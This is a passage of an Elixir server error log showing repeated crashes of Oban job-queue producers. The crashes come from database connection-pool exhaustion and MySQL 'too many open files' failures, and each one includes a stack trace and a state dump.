    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:30:49.240208Z], limit: 3, uuid: "55d64006-52ef-45b0-9c04-e1d0c8c31abb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:49.240214Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11604>, refresh_timer: #Reference<0.2525715032.1099431938.19923>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:30:49.239691Z], limit: 10, uuid: "96031f9b-3c45-40da-83da-50c079c47525", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:49.239697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11602>, refresh_timer: #Reference<0.2525715032.1099431938.19915>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:01.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:30:49.239496Z], limit: 5, uuid: "6666089a-4c08-4c10-b2f4-81d5369c6654", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:49.239501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11603>, refresh_timer: #Reference<0.2525715032.1099431938.19914>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:01.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:30:49.239666Z], limit: 5, uuid: "d652d503-b937-44ef-a5b3-533ea26ccaee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:49.239680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.119144>, refresh_timer: #Reference<0.2525715032.1099431938.19916>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:01.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:02.380000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:10.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:12.125000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:31:01.245667Z], limit: 10, uuid: "4d7b709b-260f-4a17-84e4-2f193c1709e5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:01.245673Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12017>, refresh_timer: #Reference<0.2525715032.1121189889.119264>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:13.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:31:01.244414Z], limit: 20, uuid: "942c7c47-5871-431d-a9e4-0060318a9b18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:01.244421Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251542>, refresh_timer: #Reference<0.2525715032.1077411843.251505>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:31:01.245445Z], limit: 5, uuid: "92c51a22-e2da-4816-bd7c-69988853951d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:01.245451Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12016>, refresh_timer: #Reference<0.2525715032.1068498948.11972>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:13.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:31:01.247525Z], limit: 5, uuid: "b2c33289-c1a3-4bc6-bfb6-3ebebc315377", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:01.247531Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12018>, refresh_timer: #Reference<0.2525715032.1121189889.119266>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:31:01.245636Z], limit: 3, uuid: "8a767326-ddf3-44fe-89e6-8bc4ece2f43c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:01.245642Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12019>, refresh_timer: #Reference<0.2525715032.1121189889.119262>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:13.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
